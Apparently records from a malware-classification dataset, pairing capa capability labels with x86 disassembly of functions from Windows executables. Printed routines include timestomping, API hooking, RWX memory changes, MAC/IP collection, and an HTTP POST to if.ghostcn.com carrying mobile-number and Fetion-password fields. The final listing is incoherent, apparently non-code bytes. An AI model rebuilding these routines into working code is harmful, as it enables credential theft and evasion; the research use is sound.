joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d79c0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4e020b
push eax
mov eax, 0x1260
mov dword fs:[0], esp
call fcn.004d9670
push esi
mov esi, dword [esp + 0x1274]
push edi
push 0x5134f4
mov edi, ecx
push esi
call fcn.00433310
add esp, 8
test eax, eax
je 0x4d7b22
lea eax, [esp + 0x220]
push 0x824
push eax
push 0
push esi
call fcn.00433350
add esp, 0x10
test eax, eax
je 0x4d7abb
lea ecx, [esp + 0x220]
push str.iexplore.exe
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x4d7a72
lea edx, [esp + 0x220]
push 0x824
push edx
push 1
push esi
call fcn.00433350
add esp, 0x10
cmp word [esp + 0x220], 0
jne 0x4d7a72
lea eax, [esp + 0x220]
push 0x824
push eax
push 0
push esi
call fcn.00433350
add esp, 0x10
lea ecx, [esp + 0x220]
push ecx
push 0x4f6170
push 0x824
push edi
call dword [sym.imp.MSVCRT.dll__snwprintf]
add esp, 0x10
mov word [edi + 0x1046], 0
push edi
call fcn.00491e20
mov ecx, dword [esp + 0x126c]
add esp, 4
mov eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x126c
ret 4
lea ecx, [esp + 8]
call fcn.0048e3b0
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x1278], 0
call fcn.0048e480
mov esi, eax
test esi, esi
je 0x4d7b09
push esi
lea ecx, [esp + 0xc]
call fcn.0048e580
test eax, eax
je 0x4d7aff
push 0x824
push edi
push esi
lea ecx, [esp + 0x14]
call fcn.0048e5c0
push esi
lea ecx, [esp + 0xc]
call fcn.0048e4f0
lea ecx, [esp + 8]
mov dword [esp + 0x1270], 0xffffffff
call fcn.0048e400
jmp 0x4d7a97
push 0x4f7ee4
push esi
call fcn.00433310
add esp, 8
test eax, eax
push esi
je 0x4d7a7a
push 0x824
push edi
push 0x514ff0
push 0x50ddd8
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x4d7a97

Function at 0x4d8040
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x28
mov eax, dword [esp + 0x2c]
push esi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x1c]
mov esi, eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push ecx
push eax
shr eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 8]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x28
ret
Function at 0x4d87be
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e8148
push 0x4d96e4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
cmp word [ecx], 0x5a4d
jne 0x4d8844
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
je 0x4d881c
xor al, al
or dword [ebp - 4], 0xffffffff
jmp 0x4d884a
mov edx, dword [eax + 0xd8]
lea esi, [edx + ecx]
cmp dword [ebp + 0xc], esi
jb 0x4d8814
mov eax, dword [eax + 0xdc]
add eax, edx
add eax, ecx
cmp dword [ebp + 0xc], eax
jae 0x4d8814
mov al, 1
jmp 0x4d8816
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4d88a9
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push esi
mov esi, dword [0x5f2f80]
test esi, esi
je 0x4d88cd
lea eax, [esp + 4]
push eax
push 0x40
push 0x10000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [esi + 4]
jmp 0x4d88b1
pop esi
pop ecx
ret

Function at 0x4d88d0
Capabilities:
Resume thread

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x5f2f8c], eax
je 0x4d88e6
mov eax, 0x10dd
pop ecx
ret
push ebx
push esi
mov esi, dword [0x5f2f9c]
xor ebx, ebx
cmp esi, ebx
push edi
je 0x4d8933
lea eax, [esp + 0xc]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x17]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [esi + 4], ebx
jne 0x4d8924
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4d8924
push eax
call fcn.004d899a
pop ecx
mov dword [esi + 0x10], ebx
mov edi, dword [esi]
push esi
call fcn.004d9644
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4d88f5
mov dword [0x5f2f9c], ebx
call fcn.004d8973
mov esi, dword [0x5f2f98]
cmp esi, ebx
je 0x4d8960
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [esi]
push esi
call fcn.004d9644
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4d8948
pop edi
mov dword [0x5f2f98], ebx
mov dword [0x5f2f8c], ebx
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4d8c1d
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x5f2f90]
push esi
test eax, eax
push edi
jne 0x4d8c87
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [esp + 0xc]
cmp edi, eax
je 0x4d8c85
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
test esi, esi
jne 0x4d8c49
push 8
pop edi
jmp 0x4d8c64
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x4d8c75
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.004d9644
pop ecx
and dword [0x5f2f94], 0
mov dword [0x5f2f90], edi
mov eax, edi
jmp 0x4d8c87
mov dword [esi + 4], edi
mov eax, dword [0x5f2f98]
mov dword [esi], eax
mov dword [0x5f2f98], esi
xor eax, eax
pop edi
pop esi
ret 4
Function at 0x4d8f44
Capabilities:
Allocate or change rwx memory
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp esi, 0x7ff80000
mov ebx, 0x10000
jbe 0x4d8f68
lea eax, [esi - 0x7ff80000]
mov dword [ebp + 8], eax
jmp 0x4d8f6b
mov dword [ebp + 8], ebx
cmp esi, 0x80000000
jae 0x4d8f7e
lea eax, [esi + 0x7ff80000]
mov dword [ebp - 4], eax
jmp 0x4d8f85
mov dword [ebp - 4], 0xfff80000
mov eax, dword [0x5f2f84]
mov ecx, dword [0x5f2f80]
test eax, eax
jne 0x4d8f9f
test ecx, ecx
je 0x4d8fb4
mov eax, ecx
mov dword [0x5f2f84], eax
mov edx, dword [eax + 8]
test edx, edx
je 0x4d8fb4
cmp edx, dword [ebp + 8]
jb 0x4d8fb4
cmp edx, dword [ebp - 4]
jbe 0x4d910d
mov eax, ecx
test ecx, ecx
mov dword [0x5f2f84], eax
je 0x4d8fe4
test eax, eax
je 0x4d8fd8
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x4d8fd8
cmp ecx, dword [ebp + 8]
jb 0x4d8fd8
cmp ecx, dword [ebp - 4]
jbe 0x4d910d
mov eax, dword [eax + 4]
test eax, eax
mov dword [0x5f2f84], eax
jne 0x4d8fc3
mov eax, esi
and eax, 0xffff
sub esi, eax
cmp esi, dword [ebp + 8]
mov edi, esi
jbe 0x4d904c
cmp edi, 0x70000000
jb 0x4d9009
cmp edi, 0x80000000
ja 0x4d9009
mov edi, 0x6fff0000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4d904c
cmp dword [ebp - 0x10], ebx
jne 0x4d9024
cmp dword [ebp - 0x14], ebx
jae 0x4d9034
mov eax, dword [ebp - 0x1c]
lea edi, [eax - 0x10000]
cmp edi, dword [ebp + 8]
ja 0x4d8ff4
jmp 0x4d904c
push 0x40
push 0x3000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x5f2f84], eax
jne 0x4d90c3
cmp esi, dword [ebp - 4]
jae 0x4d9134
cmp esi, 0x70000000
jb 0x4d906a
cmp esi, 0x80000000
ja 0x4d906a
mov esi, 0x80010000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4d9134
cmp dword [ebp - 0x10], ebx
jne 0x4d90b8
cmp dword [ebp - 0x14], ebx
jb 0x4d90b8
mov ecx, esi
and ecx, 0xffff
je 0x4d90a0
mov eax, ebx
sub eax, ecx
sub dword [ebp - 0x14], eax
add dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push 0x40
push 0x3000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x5f2f84], eax
jne 0x4d90c3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
lea esi, [eax + ecx]
jmp 0x4d904c
mov dword [eax], 0x52727464
mov eax, dword [0x5f2f84]
xor ecx, ecx
mov dword [eax + 8], ecx
mov eax, dword [0x5f2f84]
mov edx, dword [0x5f2f80]
mov dword [eax + 4], edx
mov eax, dword [0x5f2f84]
mov dword [0x5f2f80], eax
add eax, 0xffe0
mov edx, 0x7fd
mov dword [eax + 0x18], ecx
mov ecx, eax
sub eax, 0x20
dec edx
jne 0x4d90f5
mov eax, dword [0x5f2f84]
mov dword [eax + 8], ecx
mov eax, dword [0x5f2f84]
mov esi, dword [eax + 8]
cmp esi, dword [ebp + 8]
jb 0x4d9134
cmp esi, dword [ebp - 4]
ja 0x4d9134
mov ecx, dword [esi + 0x18]
push 0x20
push 0xcc
push esi
mov dword [eax + 8], ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, esi
jmp 0x4d9136
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4d913b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e8158
push 0x4d96e4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4d91b0
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
cmp word [ecx], 0x5a4d
jne 0x4d91ac
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x4d91ac
cmp word [eax + 0x14], 0
jne 0x4d91a1
xor eax, eax
or dword [ebp - 4], 0xffffffff
jmp 0x4d91b2
mov eax, ecx
jmp 0x4d919b
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x82011a
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00820199
jae 0x820126
xor ecx, ecx
call fcn.00820199
jae 0x820150
xor eax, eax
call fcn.00820199
jae 0x820161
mov al, 0x10
call fcn.00820199
adc al, al
jae 0x820142
jne 0x82018e
stosb byte es:[edi], al
jmp 0x820127
call fcn.008201a5
dec ecx
loop 0x82016d
mov eax, ebp
call fcn.008201a3
jmp 0x82018f
lodsb al, byte [esi]
shr eax, 1
je 0x8201b5
adc ecx, 2
mov ebp, eax
jmp 0x82018f
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.008201a3
cmp eax, 0x7d00
jae 0x82018d
cmp eax, 0x500
jae 0x82018e
cmp eax, 0x7f
ja 0x82018f
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x820127
pop ebp
ret 8
Function at 0x401000
Capabilities:
Create http request

Disassembly:
mov al, byte [esp + 4]
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov byte [ebx], al
xor esi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov ebp, ecx
mov ecx, ebx
push ebp
call fcn.00401630
test al, al
je 0x401056
mov esi, dword [esp + 0x14]
mov edi, dword [ebx + 4]
mov ecx, ebp
push ebp
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call fcn.00401610
xor esi, esi
mov al, byte [esp + 0x14]
lea edx, [ebx + 0x10]
or ecx, 0xffffffff
mov dword [edx + 4], esi
mov dword [edx + 8], esi
mov dword [edx + 0xc], esi
mov esi, dword [esp + 0x18]
mov byte [edx], al
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call fcn.00401520
mov cl, byte [esp + 0x14]
mov edi, dword [esp + 0x1c]
lea ebp, [ebx + 0x20]
xor esi, esi
xor eax, eax
push 1
mov byte [ebp], cl
or ecx, 0xffffffff
mov dword [ebp + 4], esi
mov dword [ebp + 8], esi
mov dword [ebp + 0xc], esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
mov ecx, ebp
push edi
mov dword [esp + 0x1c], edi
call fcn.00401630
test al, al
je 0x4010db
mov esi, dword [esp + 0x1c]
mov ecx, edi
mov edi, dword [ebp + 4]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
call fcn.00401610
xor esi, esi
push esi
push esi
push esi
push 1
push str.HttpDown
call dword [sym.imp.WININET.dll_InternetOpenA]
pop edi
mov dword [ebx + 0x30], eax
pop esi
mov eax, ebx
pop ebp
pop ebx
ret 0xc
Function at 0x403b30
Capabilities:
Terminate thread

Disassembly:
mov al, byte [ecx + 0x160]
test al, al
je 0x403b95
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ecx + 0x160], 0
mov esi, 0x415d58
mov eax, dword [esi - 4]
test eax, eax
jne 0x403b78
mov eax, dword [esi]
push 0x1f4
push eax
call ebx
test eax, eax
je 0x403b78
mov ecx, dword [esi]
push 3
push ecx
call ebp
mov edx, dword [esi]
push edx
call edi
mov dword [esi], 0
add esi, 0x224
cmp esi, 0x4165e8
jl 0x403b5c
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4043e0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4044bc
push ebp
push esi
lea ecx, [esp + 0x10]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0xc]
push ecx
push edx
push eax
mov dword [esp + 0x18], eax
push eax
mov eax, dword [esp + 0x20]
mov esi, 4
push str.MaxConnectionsPer1_0Server
push eax
mov dword [esp + 0x2c], esi
call edi
mov eax, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, 5
jae 0x404462
cmp eax, esi
jae 0x404462
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push esi
push ecx
push esi
push 0
push str.MaxConnectionsPer1_0Server
push edx
mov dword [esp + 0x24], esi
call ebp
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0
push 0
push str.MaxConnectionsPerServer
push edx
mov dword [esp + 0x24], 0
mov dword [esp + 0x2c], esi
call edi
mov eax, dword [esp + 0xc]
cmp eax, 5
jae 0x4044ae
cmp eax, esi
jae 0x4044ae
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push esi
push eax
push esi
push 0
push str.MaxConnectionsPerServer
push ecx
mov dword [esp + 0x24], esi
call ebp
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x404bf0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
sub esp, 0x200
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov eax, dword [ebp + 0x3c]
test eax, eax
jne 0x404c19
push 0
push 0
push 0
push 1
push str.GetFetion_1.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 0x3c], eax
mov esi, dword [ebp + 0x3c]
test esi, esi
je 0x404d13
mov eax, dword [0x4120d8]
mov ecx, dword [0x4120d4]
mov edx, dword [str.if.ghostcn.com]
push 0
push 0
push 3
push eax
push ecx
push 0
push edx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
je 0x404d13
mov eax, dword [esp + 0x214]
push 0
push 0x480000
push 0
push 0
push str.HTTP_1.0
push eax
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x404c8f
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200
ret 4
mov edi, str.Content_Type:_application_x_www_form_urlencoded__charsetutf_8_r_n
or ecx, 0xffffffff
xor eax, eax
push 0xa0000000
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Content_Type:_application_x_www_form_urlencoded__charsetutf_8_r_n
push esi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
je 0x404d07
mov eax, dword [0x41641c]
test eax, eax
jne 0x404cc2
mov eax, 0x410280
lea ecx, [ebp + 0x188]
add ebp, 0x168
push ecx
push eax
push ebp
push str.10000
lea edx, [esp + 0x20]
push str.csChannelID_scsMacAddress_scsOemTag_scsLocalIP_scsMobileNumbercsFetionPassword
push edx
call fcn.00406b75
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push eax
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200
ret 4
Function at 0x404d20
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
sub esp, 8
push ebx
push esi
push edi
lea eax, [esp + 0xc]
lea edi, [ecx + 0x188]
lea ebx, [ecx + 0x168]
push eax
push 0
mov byte [edi], 0
mov byte [ebx], 0
mov dword [esp + 0x14], 0
call sub.iphlpapi.dll_GetAdaptersInfo
mov ecx, dword [esp + 0xc]
push ecx
call fcn.00405f70
add esp, 4
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x18], esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x404dfb
test esi, esi
push ebp
je 0x404ded
mov ebp, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [esi + 0x1b0]
push eax
call ebp
test eax, eax
je 0x404d8f
cmp eax, 0xffffffff
jne 0x404d97
mov esi, dword [esi]
test esi, esi
jne 0x404d7d
jmp 0x404ded
lea ecx, [esi + 0x1b0]
push 0x10
push ecx
push edi
call fcn.00406da0
xor edx, edx
add esp, 0xc
mov dl, byte [esi + 0x199]
xor eax, eax
mov al, byte [esi + 0x198]
xor ecx, ecx
mov cl, byte [esi + 0x197]
push edx
push eax
xor edx, edx
mov dl, byte [esi + 0x196]
push ecx
xor eax, eax
xor ecx, ecx
mov al, byte [esi + 0x195]
mov cl, byte [esi + 0x194]
push edx
push eax
push ecx
push str._02X__02X__02X__02X__02X__02X
push ebx
call fcn.00406b75
add esp, 0x20
mov edx, dword [esp + 0x14]
push edx
call fcn.004056b6
add esp, 4
pop ebp
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x406cf3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406d13
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040b015
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x406d36
test byte [esp + 8], 2
je 0x406d36
call fcn.0040b088
mov dword [eax], 0xd
call fcn.0040b091
mov dword [eax], 5
jmp 0x406d0f
xor eax, eax
ret
Function at 0x49a3f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x49f494]
cmp dword [eax + 0x28], 0
jne 0x49a408
xor eax, eax
jmp 0x49a537
mov ecx, dword [0x49f414]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x49f408], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0x49f404], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x10], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x49f408]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x49f404]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0x49f48c]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x80000000
push 0x49e604
push 0x49e620
push 0x88
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x49f400], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.0049a330
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x49a3c0
mov edx, dword [0x49f494]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x49f40c], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x49a537
cmp dword [ebp - 0x38], 0x12
jne 0x49a52b
mov dword [0x49f41c], 0
call fcn.0049a540
xor eax, eax
jmp 0x49a537
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x49a4fc
mov esp, ebp
pop ebp
ret 4

Function at 0x49b840
Capabilities:
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x49c20c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x49e118
sub eax, eax
test esi, esi
je 0x49c2e4
sub eax, 1
test ecx, ecx
je 0x49c2e2
test esi, 3
je 0x49c24a
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x49c22f
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x49c2c9
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x49c254
mov ecx, edx
test ecx, ecx
je 0x49c2e2
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x49c2cf
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x49c2ec
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0049c36f
jae 0x49c2fa
xor ecx, ecx
call fcn.0049c36f
jae 0x49c329
xor eax, eax
call fcn.0049c36f
jae 0x49c339
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0049c36f
adc al, al
jae 0x49c31b
jne 0x49c365
stosb byte es:[edi], al
jmp 0x49c2fd
call fcn.0049c37b
sub ecx, ebx
jne 0x49c342
call fcn.0049c379
jmp 0x49c361
lodsb al, byte [esi]
shr eax, 1
je 0x49c38b
adc ecx, ecx
jmp 0x49c35e
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.0049c379
cmp eax, 0x7d00
jae 0x49c35e
cmp ah, 5
jae 0x49c35f
cmp eax, 0x7f
ja 0x49c360
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x49c2fd
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x49cc7c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x49f000]
jne 0x49cc86
repz ret
jmp fcn.0049cf2d
Function at 0x408db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
daa
mov eax, dword [ebp + 0x3d]
xor ecx, ecx
test eax, eax
setne cl
xchg esi, eax
dec ebp
cld
fimul word [ebp - 0x7d]
cmp ecx, 0x40
ror byte [edi], 0x8f
pop ebp
add al, byte [eax]
mov ch, 0xf
test byte [edx + eax], al
add byte [ecx - 0x7d], cl
stc
pcmpgtw mm0, qword [edi + 0x3fd]
cmp eax, 1
xchg ecx, eax
adc byte [esi], ch
inc eax
add bh, bh
xor al, dl
clc
pop ebp
inc eax
add byte [ebx - 0x2dccf7ef], cl
mov ecx, dword [esi + 0x38]
and ecx, 2
push es
stc
add cl, byte [edi]
xchg esp, eax
xchg esp, eax
cmp eax, edx
je 0x408dd3
mov ecx, dword [esi + 4]
lea esp, [ecx + 0x50046afc]
push 8
push 0xffff
push ecx
call dword [0xf3c187]
adc eax, 0xf3c187
or dword [edi + 0x72840f6f], 2
add byte [eax], al
test dword [ebp - 0x35], eax
test eax, eax
mov eax, dword [esi - 0x41]
je 0x408e14
or al, 0xe5
mov dword [esi + 0x38], eax
xor edi, dword [ecx - 0x70]
mov esp, ebp
pop ebp
ret 0xc